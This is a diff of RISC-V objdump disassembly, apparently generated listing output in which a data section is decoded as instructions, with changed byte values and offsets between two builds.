+     e4c:	0500                	addi	s0,sp,640
+     e4e:	01b1                	addi	gp,gp,12
+     e50:	087f                	0x87f
      e52:	0000                	unimp
-     e54:	a005                	j	e74 <__stack_size+0x674>
-     e56:	d301                	beqz	a4,d56 <__stack_size+0x556>
-     e58:	0000                	unimp
+     e54:	b205                	j	774 <__stack_size-0x8c>
+     e56:	4901                	li	s2,0
+     e58:	006a                	c.slli	zero,0x1a
      e5a:	0500                	addi	s0,sp,640
-     e5c:	01b1                	addi	gp,gp,12
-     e5e:	08ca                	slli	a7,a7,0x12
+     e5c:	956b01b3          	0x956b01b3
      e60:	0000                	unimp
-     e62:	b205                	j	782 <__stack_size-0x7e>
-     e64:	ac01                	j	1074 <__stack_size+0x874>
-     e66:	0069                	c.nop	26
-     e68:	0500                	addi	s0,sp,640
-     e6a:	94bc01b3          	0x94bc01b3
+     e62:	b405                	j	882 <__stack_size+0x82>
+     e64:	ab01                	j	1374 <__stack_size+0xb74>
+     e66:	0500009b          	0x500009b
+     e6a:	01b5                	addi	gp,gp,13
+     e6c:	76f0                	flw	fa2,108(a3)
      e6e:	0000                	unimp
-     e70:	b405                	j	890 <__stack_size+0x90>
-     e72:	2e01                	jal	1182 <__stack_size+0x982>
-     e74:	0500009b          	0x500009b
-     e78:	01b5                	addi	gp,gp,13
-     e7a:	00007643          	fmadd.s	fa2,ft0,ft0,ft0
-     e7e:	b705                	j	d9e <__stack_size+0x59e>
-     e80:	f401                	bnez	s0,d88 <__stack_size+0x588>
-     e82:	0006                	c.slli	zero,0x1
+     e70:	b705                	j	d90 <__stack_size+0x590>
+     e72:	8201                	c.srli64	a2
+     e74:	0098                	addi	a4,sp,64
+     e76:	0500                	addi	s0,sp,640
+     e78:	01b8                	addi	a4,sp,200
+     e7a:	7cde                	flw	fs9,244(sp)
+     e7c:	0000                	unimp
+     e7e:	b905                	j	aae <__stack_size+0x2ae>
+     e80:	2901                	jal	1290 <__stack_size+0xa90>
+     e82:	00a0                	addi	s0,sp,72
      e84:	0500                	addi	s0,sp,640
-     e86:	01b8                	addi	a4,sp,200
-     e88:	00007c6b          	0x7c6b
-     e8c:	b905                	j	abc <__stack_size+0x2bc>
-     e8e:	f101                	bnez	a0,d8e <__stack_size+0x58e>
-     e90:	009f 0500 01e6      	0x1e60500009f
-     e96:	255c                	fld	fa5,136(a0)
-     e98:	0000                	unimp
-     e9a:	f305                	bnez	a4,dba <__stack_size+0x5ba>
-     e9c:	ed01                	bnez	a0,eb4 <__stack_size+0x6b4>
-     e9e:	05000013          	li	zero,80
-     ea2:	01f4                	addi	a3,sp,204
-     ea4:	72cc                	flw	fa1,36(a3)
-     ea6:	0000                	unimp
-     ea8:	f505                	bnez	a0,dd0 <__stack_size+0x5d0>
-     eaa:	5b01                	li	s6,-32
-     eac:	0088                	addi	a0,sp,64
-     eae:	0500                	addi	s0,sp,640
-     eb0:	01f6                	slli	gp,gp,0x1d
-     eb2:	10dc                	addi	a5,sp,100
+     e86:	01e6                	slli	gp,gp,0x19
+     e88:	2615                	jal	11ac <__stack_size+0x9ac>
+     e8a:	0000                	unimp
+     e8c:	f305                	bnez	a4,dac <__stack_size+0x5ac>
+     e8e:	4001                	c.li	zero,0
+     e90:	05000013          	li	zero,80
+     e94:	01f4                	addi	a3,sp,204
+     e96:	00007367          	0x7367
+     e9a:	f505                	bnez	a0,dc2 <__stack_size+0x5c2>
+     e9c:	fe01                	bnez	a2,db4 <__stack_size+0x5b4>
+     e9e:	0088                	addi	a0,sp,64
+     ea0:	0500                	addi	s0,sp,640
+     ea2:	01f6                	slli	gp,gp,0x1d
+     ea4:	0000923f 4301f705 	0x4301f7050000923f
+     eac:	05000053          	0x5000053
+     eb0:	01f8                	addi	a4,sp,204
+     eb2:	0a92                	slli	s5,s5,0x4
      eb4:	0000                	unimp
-     eb6:	f705                	bnez	a4,dde <__stack_size+0x5de>
-     eb8:	2101                	jal	12b8 <__stack_size+0xab8>
-     eba:	0052                	c.slli	zero,0x14
+     eb6:	f905                	bnez	a0,de6 <__stack_size+0x5e6>
+     eb8:	1e01                	addi	t3,t3,-32
+     eba:	0044                	addi	s1,sp,4
      ebc:	0500                	addi	s0,sp,640
-     ebe:	01f8                	addi	a4,sp,204
-     ec0:	0b0a                	slli	s6,s6,0x2
+     ebe:	01fc                	addi	a5,sp,204
+     ec0:	4914                	lw	a3,16(a0)
      ec2:	0000                	unimp
-     ec4:	f905                	bnez	a0,df4 <__stack_size+0x5f4>
-     ec6:	1f01                	addi	t5,t5,-32
-     ec8:	05000043          	0x5000043
-     ecc:	01fc                	addi	a5,sp,204
-     ece:	000047f7          	0x47f7
-     ed2:	fd05                	bnez	a0,e0a <__stack_size+0x60a>
-     ed4:	4001                	c.li	zero,0
-     ed6:	05000027          	0x5000027
-     eda:	7e450283          	lb	t0,2020(a0) # 1d7e4 <__stack_size+0x1cfe4>
+     ec4:	fd05                	bnez	a0,dfc <__stack_size+0x5fc>
+     ec6:	0401                	addi	s0,s0,0
+     ec8:	0028                	addi	a0,sp,8
+     eca:	0500                	addi	s0,sp,640
+     ecc:	7ec80283          	lb	t0,2028(a6)
+     ed0:	0000                	unimp
+     ed2:	dc05                	beqz	s0,e0a <__stack_size+0x60a>
+     ed4:	aa02                	fsd	ft0,272(sp)
+     ed6:	0072                	c.slli	zero,0x1c
+     ed8:	0500                	addi	s0,sp,640
+     eda:	02ee                	slli	t0,t0,0x1b
+     edc:	5441                	li	s0,-16
      ede:	0000                	unimp
-     ee0:	dc05                	beqz	s0,e18 <__stack_size+0x618>
-     ee2:	2902                	fld	fs2,0(sp)
-     ee4:	0072                	c.slli	zero,0x1c
+     ee0:	f405                	bnez	s0,e08 <__stack_size+0x608>
+     ee2:	b302                	fsd	ft0,416(sp)
+     ee4:	0006                	c.slli	zero,0x1
      ee6:	0500                	addi	s0,sp,640
-     ee8:	02ee                	slli	t0,t0,0x1b
-     eea:	52ea                	lw	t0,184(sp)
+     ee8:	02f5                	addi	t0,t0,29
+     eea:	66a4                	flw	fs1,72(a3)
      eec:	0000                	unimp
-     eee:	f405                	bnez	s0,e16 <__stack_size+0x616>
-     ef0:	7702                	flw	fa4,32(sp)
-     ef2:	0090                	addi	a2,sp,64
-     ef4:	0500                	addi	s0,sp,640
-     ef6:	02f5                	addi	t0,t0,29
-     ef8:	661d                	lui	a2,0x7
+     eee:	fc05                	bnez	s0,e26 <__stack_size+0x626>
+     ef0:	8702                	jr	a4
+     ef2:	05000027          	0x5000027
+     ef6:	0382                	c.slli64	t2
+     ef8:	42e0                	lw	s0,68(a3)
      efa:	0000                	unimp
-     efc:	fc05                	bnez	s0,e34 <__stack_size+0x634>
-     efe:	c302                	sw	zero,132(sp)
-     f00:	0026                	c.slli	zero,0x9
+     efc:	8805                	andi	s0,s0,1
+     efe:	005a7803          	0x5a7803
      f02:	0500                	addi	s0,sp,640
-     f04:	0382                	c.slli64	t2
-     f06:	41e1                	li	gp,24
+     f04:	0389                	addi	t2,t2,2
+     f06:	7e6a                	flw	ft8,184(sp)
      f08:	0000                	unimp
-     f0a:	8805                	andi	s0,s0,1
-     f0c:	009d1403          	lh	s0,9(s10) # 1009 <__stack_size+0x809>
+     f0a:	9005                	srli	s0,s0,0x21
+     f0c:	000df803          	0xdf803
      f10:	0500                	addi	s0,sp,640
-     f12:	0389                	addi	t2,t2,2
-     f14:	00007de7          	0x7de7
-     f18:	9005                	srli	s0,s0,0x21
-     f1a:	000e3e03          	0xe3e03
+     f12:	0391                	addi	t2,t2,4
+     f14:	690a                	flw	fs2,128(sp)
+     f16:	0000                	unimp
+     f18:	9805                	andi	s0,s0,-31
+     f1a:	0046b203          	0x46b203
      f1e:	0500                	addi	s0,sp,640
-     f20:	0391                	addi	t2,t2,4
-     f22:	684d                	lui	a6,0x13
+     f20:	039e                	slli	t2,t2,0x7
+     f22:	9b68                	0x9b68
      f24:	0000                	unimp
-     f26:	9805                	andi	s0,s0,-31
-     f28:	0045a503          	lw	a0,4(a1)
+     f26:	b205                	j	846 <__stack_size+0x46>
+     f28:	007dc703          	lbu	a4,7(s11) # 12007 <__stack_size+0x11807>
      f2c:	0500                	addi	s0,sp,640
-     f2e:	039e                	slli	t2,t2,0x7
-     f30:	00009aeb          	0x9aeb
-     f34:	b205                	j	854 <__stack_size+0x54>
-     f36:	007d4403          	lbu	s0,7(s10)
+     f2e:	0a3d03d3          	fsub.d	ft7,fs10,ft3,rne
+     f32:	0000                	unimp
+     f34:	d405                	beqz	s0,e5c <__stack_size+0x65c>
+     f36:	00572a03          	lw	s4,5(a4) # fffe0005 <_heap_end+0x7ffd1805>
      f3a:	0500                	addi	s0,sp,640
-     f3c:	0aa703d3          	fsub.d	ft7,fa4,fa0,rne
+     f3c:	28d403db          	0x28d403db
      f40:	0000                	unimp
-     f42:	d405                	beqz	s0,e6a <__stack_size+0x66a>
-     f44:	0055fc03          	0x55fc03
+     f42:	dc05                	beqz	s0,e7a <__stack_size+0x67a>
+     f44:	00170203          	lb	tp,1(a4)
      f48:	0500                	addi	s0,sp,640
-     f4a:	281003db          	0x281003db
-     f4e:	0000                	unimp
-     f50:	dc05                	beqz	s0,e88 <__stack_size+0x688>
-     f52:	0017b303          	0x17b303
+     f4a:	03df 7fc3 0000      	0x7fc303df
+     f50:	e905                	bnez	a0,f80 <__stack_size+0x780>
+     f52:	009ace03          	lbu	t3,9(s5)
      f56:	0500                	addi	s0,sp,640
-     f58:	03df 7f40 0000      	0x7f4003df
-     f5e:	e905                	bnez	a0,f8e <__stack_size+0x78e>
-     f60:	009a2003          	lw	zero,9(s4) # ffffc009 <_heap_end+0x7ffed809>
+     f58:	03ea                	slli	t2,t2,0x1a
+     f5a:	90e2                	add	ra,ra,s8
+     f5c:	0000                	unimp
+     f5e:	f405                	bnez	s0,e86 <__stack_size+0x686>
+     f60:	003d9a03          	lh	s4,3(s11)
      f64:	0500                	addi	s0,sp,640
-     f66:	03ea                	slli	t2,t2,0x1a
-     f68:	9015                	srli	s0,s0,0x25
-     f6a:	0000                	unimp
-     f6c:	f405                	bnez	s0,e94 <__stack_size+0x694>
-     f6e:	003c8f03          	lb	t5,3(s9) # fffe4003 <_heap_end+0x7ffd5803>
-     f72:	0500                	addi	s0,sp,640
-     f74:	048a                	slli	s1,s1,0x2
-     f76:	054d                	addi	a0,a0,19
+     f66:	048a                	slli	s1,s1,0x2
+     f68:	000004c3          	fmadd.s	fs1,ft0,ft0,ft0,rne
+     f6c:	8c05                	sub	s0,s0,s1
+     f6e:	e204                	fsw	fs1,0(a2)
+     f70:	0500002b          	0x500002b
+     f74:	048e                	slli	s1,s1,0x3
+     f76:	2a64                	fld	fs1,208(a2)
      f78:	0000                	unimp
-     f7a:	8c05                	sub	s0,s0,s1
-     f7c:	1704                	addi	s1,sp,928
-     f7e:	0500002b          	0x500002b
-     f82:	048e                	slli	s1,s1,0x3
-     f84:	2998                	fld	fa4,16(a1)
+     f7a:	8f05                	sub	a4,a4,s1
+     f7c:	a604                	fsd	fs1,8(a2)
+     f7e:	0064                	addi	s1,sp,12
+     f80:	0500                	addi	s0,sp,640
+     f82:	0491                	addi	s1,s1,4
+     f84:	637e                	flw	ft6,220(sp)
      f86:	0000                	unimp
-     f88:	8f05                	sub	a4,a4,s1
-     f8a:	e504                	fsw	fs1,8(a0)
-     f8c:	05000063          	beq	zero,a6,fcc <__stack_size+0x7cc>
-     f90:	0491                	addi	s1,s1,4
-     f92:	000062b3          	or	t0,zero,zero
-     f96:	9b05                	andi	a4,a4,-31
-     f98:	1d04                	addi	s1,sp,688
-     f9a:	001a                	c.slli	zero,0x6
+     f88:	9b05                	andi	a4,a4,-31
+     f8a:	6c04                	flw	fs1,24(s0)
+     f8c:	0019                	c.nop	6
+     f8e:	0500                	addi	s0,sp,640
+     f90:	04a0                	addi	s0,sp,584
+     f92:	00004d2b          	0x4d2b
+     f96:	a505                	j	15b6 <__stack_size+0xdb6>
+     f98:	a704                	fsd	fs1,8(a4)
+     f9a:	0036                	c.slli	zero,0xd
      f9c:	0500                	addi	s0,sp,640
-     f9e:	04a0                	addi	s0,sp,584
-     fa0:	4bec                	lw	a1,84(a5)
+     f9e:	04a8                	addi	a0,sp,584
+     fa0:	5ef0                	lw	a2,124(a3)
      fa2:	0000                	unimp
-     fa4:	a505                	j	15c4 <__stack_size+0xdc4>
-     fa6:	db04                	sw	s1,48(a4)
-     fa8:	0035                	c.nop	13
+     fa4:	ac05                	j	11d4 <__stack_size+0x9d4>
+     fa6:	7804                	flw	fs1,48(s0)
+     fa8:	0049                	c.nop	18
      faa:	0500                	addi	s0,sp,640
-     fac:	04a8                	addi	a0,sp,584
-     fae:	5de4                	lw	s1,124(a1)
+     fac:	04ae                	slli	s1,s1,0xb
+     fae:	38f0                	fld	fa2,240(s1)
      fb0:	0000                	unimp
-     fb2:	ac05                	j	11e2 <__stack_size+0x9e2>
-     fb4:	5b04                	lw	s1,48(a4)
-     fb6:	0048                	addi	a0,sp,4
-     fb8:	0500                	addi	s0,sp,640
-     fba:	04ae                	slli	s1,s1,0xb
-     fbc:	380d                	jal	7ee <__stack_size-0x12>
+     fb2:	d105                	beqz	a0,ed2 <__stack_size+0x6d2>
+     fb4:	2704                	fld	fs1,8(a4)
+     fb6:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     fba:	04d5                	addi	s1,s1,21
+     fbc:	54b0                	lw	a2,104(s1)
      fbe:	0000                	unimp
-     fc0:	d105                	beqz	a0,ee0 <__stack_size+0x6e0>
-     fc2:	6304                	flw	fs1,0(a4)
-     fc4:	009a                	slli	ra,ra,0x6
+     fc0:	d905                	beqz	a0,ef0 <__stack_size+0x6f0>
+     fc2:	8c04                	0x8c04
+     fc4:	006a                	c.slli	zero,0x1a
      fc6:	0500                	addi	s0,sp,640
-     fc8:	04d5                	addi	s1,s1,21
-     fca:	5359                	li	t1,-10
+     fc8:	04dd                	addi	s1,s1,23
+     fca:	7709                	lui	a4,0xfffe2
      fcc:	0000                	unimp
-     fce:	d905                	beqz	a0,efe <__stack_size+0x6fe>
-     fd0:	ef04                	fsw	fs1,24(a4)
-     fd2:	0069                	c.nop	26
-     fd4:	0500                	addi	s0,sp,640
-     fd6:	04dd                	addi	s1,s1,23
-     fd8:	765c                	flw	fa5,44(a2)
+     fce:	e105                	bnez	a0,fee <__stack_size+0x7ee>
+     fd0:	5604                	lw	s1,40(a2)
+     fd2:	05000093          	li	ra,80
+     fd6:	04e5                	addi	s1,s1,25
+     fd8:	1fb5                	addi	t6,t6,-19
      fda:	0000                	unimp
-     fdc:	e105                	bnez	a0,ffc <__stack_size+0x7fc>
-     fde:	ba04                	fsd	fs1,48(a2)
-     fe0:	0092                	slli	ra,ra,0x4
-     fe2:	0500                	addi	s0,sp,640
-     fe4:	04e5                	addi	s1,s1,25
-     fe6:	1f7f                	0x1f7f
+     fdc:	e905                	bnez	a0,100c <__stack_size+0x80c>
+     fde:	6804                	flw	fs1,16(s0)
+     fe0:	05000053          	0x5000053
+     fe4:	04ed                	addi	s1,s1,27
+     fe6:	1da8                	addi	a0,sp,760
      fe8:	0000                	unimp
-     fea:	e905                	bnez	a0,101a <__stack_size+0x81a>
-     fec:	4604                	lw	s1,8(a2)
-     fee:	0052                	c.slli	zero,0x14
-     ff0:	0500                	addi	s0,sp,640
-     ff2:	04ed                	addi	s1,s1,27
-     ff4:	00001d87          	0x1d87
-     ff8:	f405                	bnez	s0,f20 <__stack_size+0x720>
-     ffa:	2304                	fld	fs1,0(a4)
-     ffc:	005a                	c.slli	zero,0x16
+     fea:	f405                	bnez	s0,f12 <__stack_size+0x712>
+     fec:	3f04                	fld	fs1,56(a4)
+     fee:	0500005b          	0x500005b
+     ff2:	04f5                	addi	s1,s1,29
+     ff4:	000081cf          	fnmadd.s	ft3,ft1,ft0,ft0,rne
+     ff8:	f605                	bnez	a2,f20 <__stack_size+0x720>
+     ffa:	2d04                	fld	fs1,24(a0)
+     ffc:	0005                	c.nop	1
      ffe:	0500                	addi	s0,sp,640
-    1000:	04f5                	addi	s1,s1,29
-    1002:	814c                	0x814c
+    1000:	8daf04f7          	0x8daf04f7
     1004:	0000                	unimp
-    1006:	f605                	bnez	a2,f2e <__stack_size+0x72e>
-    1008:	b704                	fsd	fs1,40(a4)
-    100a:	0005                	c.nop	1
+    1006:	f805                	bnez	s0,f36 <__stack_size+0x736>
+    1008:	6504                	flw	fs1,8(a0)
+    100a:	0045                	c.nop	17
     100c:	0500                	addi	s0,sp,640
-    100e:	8cfc04f7          	0x8cfc04f7
+    100e:	058d                	addi	a1,a1,3
+    1010:	2e30                	fld	fa2,88(a2)
     1012:	0000                	unimp
-    1014:	f805                	bnez	s0,f44 <__stack_size+0x744>
-    1016:	5d04                	lw	s1,56(a0)
-    1018:	0044                	addi	s1,sp,4
+    1014:	8e05                	sub	a2,a2,s1
+    1016:	3505                	jal	e36 <__stack_size+0x636>
+    1018:	002d                	c.nop	11
     101a:	0500                	addi	s0,sp,640
-    101c:	058d                	addi	a1,a1,3
-    101e:	00002d1b          	0x2d1b
-    1022:	8e05                	sub	a2,a2,s1
-    1024:	ce05                	beqz	a2,105c <__stack_size+0x85c>
-    1026:	0051                	c.nop	20
+    101c:	05a0                	addi	s0,sp,712
+    101e:	2039                	jal	102c <__stack_size+0x82c>
+    1020:	0000                	unimp
+    1022:	a605                	j	1342 <__stack_size+0xb42>
+    1024:	e905                	bnez	a0,1054 <__stack_size+0x854>
+    1026:	005d                	c.nop	23
     1028:	0500                	addi	s0,sp,640
-    102a:	05a0                	addi	s0,sp,712
-    102c:	00002003          	lw	zero,0(zero) # 0 <__stack_size-0x800>
-    1030:	a605                	j	1350 <__stack_size+0xb50>
-    1032:	e905                	bnez	a0,1062 <__stack_size+0x862>
-    1034:	005c                	addi	a5,sp,4
+    102a:	05a9                	addi	a1,a1,10
+    102c:	0000896f          	jal	s2,902c <__stack_size+0x882c>
+    1030:	ab05                	j	1560 <__stack_size+0xd60>
+    1032:	4405                	li	s0,1
+    1034:	0050                	addi	a2,sp,4
     1036:	0500                	addi	s0,sp,640
-    1038:	05a9                	addi	a1,a1,10
-    103a:	88cc                	0x88cc
+    1038:	328505af          	0x328505af
     103c:	0000                	unimp
-    103e:	ab05                	j	156e <__stack_size+0xd6e>
-    1040:	4705                	li	a4,1
-    1042:	0500004f          	0x500004f
-    1046:	317a05af          	0x317a05af
+    103e:	b105                	j	c5e <__stack_size+0x45e>
+    1040:	3505                	jal	e60 <__stack_size+0x660>
+    1042:	0068                	addi	a0,sp,12
+    1044:	0500                	addi	s0,sp,640
+    1046:	05b5                	addi	a1,a1,13
+    1048:	5e50                	lw	a2,60(a2)
     104a:	0000                	unimp
-    104c:	b105                	j	c6c <__stack_size+0x46c>
-    104e:	5705                	li	a4,-31
-    1050:	0059                	c.nop	22
+    104c:	b805                	j	87c <__stack_size+0x7c>
+    104e:	d905                	beqz	a0,f7e <__stack_size+0x77e>
+    1050:	002e                	c.slli	zero,0xb
     1052:	0500                	addi	s0,sp,640
-    1054:	05b5                	addi	a1,a1,13
-    1056:	5d50                	lw	a2,60(a0)
+    1054:	05ba                	slli	a1,a1,0xe
+    1056:	30bc                	fld	fa5,96(s1)
     1058:	0000                	unimp
-    105a:	b805                	j	88a <__stack_size+0x8a>
-    105c:	e505                	bnez	a0,1084 <__stack_size+0x884>
-    105e:	002d                	c.nop	11
+    105a:	be05                	j	b8a <__stack_size+0x38a>
+    105c:	6405                	lui	s0,0x1
+    105e:	001c                	0x1c
     1060:	0500                	addi	s0,sp,640
-    1062:	05ba                	slli	a1,a1,0xe
-    1064:	2fc8                	fld	fa0,152(a5)
-    1066:	0000                	unimp
-    1068:	be05                	j	b98 <__stack_size+0x398>
-    106a:	3605                	jal	b8a <__stack_size+0x38a>
-    106c:	001d                	c.nop	7
+    1062:	05c0                	addi	s0,sp,708
+    1064:	00007bd7          	0x7bd7
+    1068:	c205                	beqz	a2,1088 <__stack_size+0x888>
+    106a:	4f05                	li	t5,1
+    106c:	0012                	c.slli	zero,0x4
     106e:	0500                	addi	s0,sp,640
-    1070:	05c0                	addi	s0,sp,708
-    1072:	7b5e                	flw	fs6,244(sp)
+    1070:	05c6                	slli	a1,a1,0x11
+    1072:	0c75                	addi	s8,s8,29
     1074:	0000                	unimp
-    1076:	c205                	beqz	a2,1096 <__stack_size+0x896>
-    1078:	dd05                	beqz	a0,fb0 <__stack_size+0x7b0>
-    107a:	0012                	c.slli	zero,0x4
+    1076:	c905                	beqz	a0,10a6 <__stack_size+0x8a6>
+    1078:	7a05                	lui	s4,0xfffe1
+    107a:	0062                	c.slli	zero,0x18
     107c:	0500                	addi	s0,sp,640
-    107e:	05c6                	slli	a1,a1,0x11
-    1080:	0cd0                	addi	a2,sp,596
+    107e:	05ca                	slli	a1,a1,0x12
+    1080:	48cc                	lw	a1,20(s1)
     1082:	0000                	unimp
-    1084:	c905                	beqz	a0,10b4 <__stack_size+0x8b4>
-    1086:	7d05                	lui	s10,0xfffe1
-    1088:	0061                	c.nop	24
-    108a:	0500                	addi	s0,sp,640
-    108c:	05ca                	slli	a1,a1,0x12
-    108e:	000047af          	0x47af
-    1092:	0400                	addi	s0,sp,512
-    1094:	0000                	unimp
-    1096:	0905                	addi	s2,s2,1
-    1098:	8215                	srli	a2,a2,0x5
-    109a:	0000                	unimp
-    109c:	0a05                	addi	s4,s4,1
-    109e:	00005ebb          	0x5ebb
-    10a2:	0b05                	addi	s6,s6,1
-    10a4:	00005a83          	lhu	s5,0(zero) # 0 <__stack_size-0x800>
-    10a8:	0c05                	addi	s8,s8,1
-    10aa:	785d                	lui	a6,0xffff7
-    10ac:	0000                	unimp
-    10ae:	0d05                	addi	s10,s10,1
-    10b0:	6bb8                	flw	fa4,80(a5)
-    10b2:	0000                	unimp
-    10b4:	0e05                	addi	t3,t3,1
-    10b6:	7171                	addi	sp,sp,-176
-    10b8:	0000                	unimp
-    10ba:	0f05                	addi	t5,t5,1
-    10bc:	5e95                	li	t4,-27
-    10be:	0000                	unimp
-    10c0:	1005                	c.nop	-31
-    10c2:	11b5                	addi	gp,gp,-19
-    10c4:	0000                	unimp
-    10c6:	1105                	addi	sp,sp,-31
-    10c8:	97ed                	srai	a5,a5,0x3b
-    10ca:	0000                	unimp
-    10cc:	1205                	addi	tp,tp,-31
-    10ce:	9006                	c.add	zero,ra
-    10d0:	0000                	unimp
-    10d2:	1305                	addi	t1,t1,-31
-    10d4:	727f                	0x727f
-    10d6:	0000                	unimp
-    10d8:	1405                	addi	s0,s0,-31
-    10da:	4d7c                	lw	a5,92(a0)
-    10dc:	0000                	unimp
-    10de:	1505                	addi	a0,a0,-31
-    10e0:	00004b77          	0x4b77
-    10e4:	1605                	addi	a2,a2,-31
-    10e6:	1e6e                	slli	t3,t3,0x3b
-    10e8:	0000                	unimp
-    10ea:	1705                	addi	a4,a4,-31
-    10ec:	2422                	fld	fs0,8(sp)
-    10ee:	0000                	unimp
-    10f0:	1805                	addi	a6,a6,-31
-    10f2:	89a8                	0x89a8
-    10f4:	0000                	unimp
-    10f6:	1905                	addi	s2,s2,-31
-    10f8:	434c                	lw	a1,4(a4)
-    10fa:	0000                	unimp
-    10fc:	1e05                	addi	t3,t3,-31
-    10fe:	55e8                	lw	a0,108(a1)
-    1100:	0000                	unimp
-    1102:	1f05                	addi	t5,t5,-31
-    1104:	9629                	srai	a2,a2,0x2a
-    1106:	0000                	unimp
-    1108:	2005                	jal	1128 <__stack_size+0x928>
-    110a:	14ce                	slli	s1,s1,0x33
-    110c:	0000                	unimp
-    110e:	2105                	jal	152e <__stack_size+0xd2e>
-    1110:	4448                	lw	a0,12(s0)
-    1112:	0000                	unimp
-    1114:	2205                	jal	1234 <__stack_size+0xa34>
-    1116:	000014fb          	0x14fb
-    111a:	2905                	jal	154a <__stack_size+0xd4a>
-    111c:	4760                	lw	s0,76(a4)
-    111e:	0000                	unimp
-    1120:	3005                	jal	940 <__stack_size+0x140>
-    1122:	4968                	lw	a0,84(a0)
-    1124:	0000                	unimp
-    1126:	3105                	jal	d46 <__stack_size+0x546>
-    1128:	9e59                	0x9e59
-    112a:	0000                	unimp
-    112c:	3205                	jal	a4c <__stack_size+0x24c>
-    112e:	8d69                	and	a0,a0,a0
-    1130:	0000                	unimp
-    1132:	3305                	jal	e52 <__stack_size+0x652>
-    1134:	00009b13          	slli	s6,ra,0x0
-    1138:	3405                	jal	b58 <__stack_size+0x358>
-    113a:	34e0                	fld	fs0,232(s1)
-    113c:	0000                	unimp
-    113e:	3505                	jal	f5e <__stack_size+0x75e>
-    1140:	5645                	li	a2,-15
-    1142:	0000                	unimp
-    1144:	3605                	jal	c64 <__stack_size+0x464>
-    1146:	000076f3          	csrrci	a3,ustatus,0
-    114a:	3705                	jal	106a <__stack_size+0x86a>
-    114c:	93c6                	add	t2,t2,a7
-    114e:	0000                	unimp
-    1150:	3a05                	jal	a80 <__stack_size+0x280>
-    1152:	00001ca3          	sh	zero,25(zero) # 19 <__stack_size-0x7e7>
-    1156:	3b05                	jal	e86 <__stack_size+0x686>
-    1158:	359e                	fld	fa1,480(sp)
-    115a:	0000                	unimp
-    115c:	3f05                	jal	108c <__stack_size+0x88c>
-    115e:	25f9                	jal	182c <__stack_size+0x102c>
-    1160:	0000                	unimp
-    1162:	4005                	c.li	zero,1
-    1164:	3956                	fld	fs2,368(sp)
-    1166:	0000                	unimp
-    1168:	4105                	li	sp,1
-    116a:	81d8                	0x81d8
-    116c:	0000                	unimp
-    116e:	4205                	li	tp,1
-    1170:	9675                	srai	a2,a2,0x3d
-    1172:	0000                	unimp
-    1174:	4305                	li	t1,1
-    1176:	48ca                	lw	a7,144(sp)
-    1178:	0000                	unimp
-    117a:	4705                	li	a4,1
-    117c:	471d                	li	a4,7
-    117e:	0000                	unimp
-    1180:	5d05                	li	s10,-31
-    1182:	3a56                	fld	fs4,368(sp)
-    1184:	0000                	unimp
-    1186:	5e05                	li	t3,-31
-    1188:	5dae                	lw	s11,232(sp)
-    118a:	0000                	unimp
-    118c:	5f05                	li	t5,-31
-    118e:	6f56                	flw	ft10,84(sp)
-    1190:	0000                	unimp
-    1192:	6005                	c.lui	zero,0x1
-    1194:	676d                	lui	a4,0x1b
-    1196:	0000                	unimp
-    1198:	6105                	addi	sp,sp,32
-    119a:	8601                	c.srai64	a2
-    119c:	0000                	unimp
-    119e:	6205                	lui	tp,0x1
-    11a0:	0f7d                	addi	t5,t5,31
-    11a2:	0000                	unimp
-    11a4:	6805                	lui	a6,0x1
-    11a6:	7828                	flw	fa0,112(s0)
-    11a8:	0000                	unimp
-    11aa:	6905                	lui	s2,0x1
-    11ac:	51ee                	lw	gp,248(sp)
-    11ae:	0000                	unimp
-    11b0:	6a05                	lui	s4,0x1
-    11b2:	0e7e                	slli	t3,t3,0x1f
-    11b4:	0000                	unimp
-    11b6:	6b05                	lui	s6,0x1
-    11b8:	4415                	li	s0,5
-    11ba:	0000                	unimp
-    11bc:	6c05                	lui	s8,0x1
-    11be:	1c38                	addi	a4,sp,568
-    11c0:	0000                	unimp
-    11c2:	6d05                	lui	s10,0x1
-    11c4:	00007983          	0x7983
-    11c8:	7205                	lui	tp,0xfffe1
-    11ca:	93d4                	0x93d4
-    11cc:	0000                	unimp
-    11ce:	7305                	lui	t1,0xfffe1
-    11d0:	5d0e                	lw	s10,224(sp)
-    11d2:	0000                	unimp
-    11d4:	7405                	lui	s0,0xfffe1
-    11d6:	7d58                	flw	fa4,60(a0)
-    11d8:	0000                	unimp
-    11da:	7505                	lui	a0,0xfffe1
-    11dc:	0915                	addi	s2,s2,5
-    11de:	0000                	unimp
-    11e0:	7605                	lui	a2,0xfffe1
-    11e2:	00003c53          	fadd.s	fs8,ft0,ft0,rup
-    11e6:	7b05                	lui	s6,0xfffe1
-    11e8:	4cde                	lw	s9,212(sp)
-    11ea:	0000                	unimp
-    11ec:	7f05                	lui	t5,0xfffe1
-    11ee:	24bc                	fld	fa5,72(s1)
+    1084:	0400                	addi	s0,sp,512
+    1086:	0000                	unimp
+    1088:	0905                	addi	s2,s2,1
+    108a:	8298                	0x8298
+    108c:	0000                	unimp
+    108e:	0a05                	addi	s4,s4,1
+    1090:	00005fc7          	fmsub.s	ft11,ft0,ft0,ft0,unknown
+    1094:	0b05                	addi	s6,s6,1
+    1096:	5b9f 0000 0c05      	0xc0500005b9f
+    109c:	7905                	lui	s2,0xfffe1
+    109e:	0000                	unimp
+    10a0:	0d05                	addi	s10,s10,1
+    10a2:	4ba2                	lw	s7,8(sp)
+    10a4:	0000                	unimp
+    10a6:	0e05                	addi	t3,t3,1
+    10a8:	71f2                	flw	ft3,60(sp)
+    10aa:	0000                	unimp
+    10ac:	0f05                	addi	t5,t5,1
+    10ae:	5fa1                	li	t6,-24
+    10b0:	0000                	unimp
+    10b2:	1005                	c.nop	-31
+    10b4:	1149                	addi	sp,sp,-14
+    10b6:	0000                	unimp
+    10b8:	1105                	addi	sp,sp,-31
+    10ba:	9890                	0x9890
+    10bc:	0000                	unimp
+    10be:	1205                	addi	tp,tp,-31
+    10c0:	000090d3          	fadd.s	ft1,ft1,ft0,rtz
+    10c4:	1305                	addi	t1,t1,-31
+    10c6:	731a                	flw	ft6,164(sp)
+    10c8:	0000                	unimp
+    10ca:	1405                	addi	s0,s0,-31
+    10cc:	4e79                	li	t3,30
+    10ce:	0000                	unimp
+    10d0:	1505                	addi	a0,a0,-31
+    10d2:	4cb6                	lw	s9,76(sp)
+    10d4:	0000                	unimp
+    10d6:	1605                	addi	a2,a2,-31
+    10d8:	1ea4                	addi	s1,sp,888
+    10da:	0000                	unimp
+    10dc:	1705                	addi	a4,a4,-31
+    10de:	000024db          	0x24db
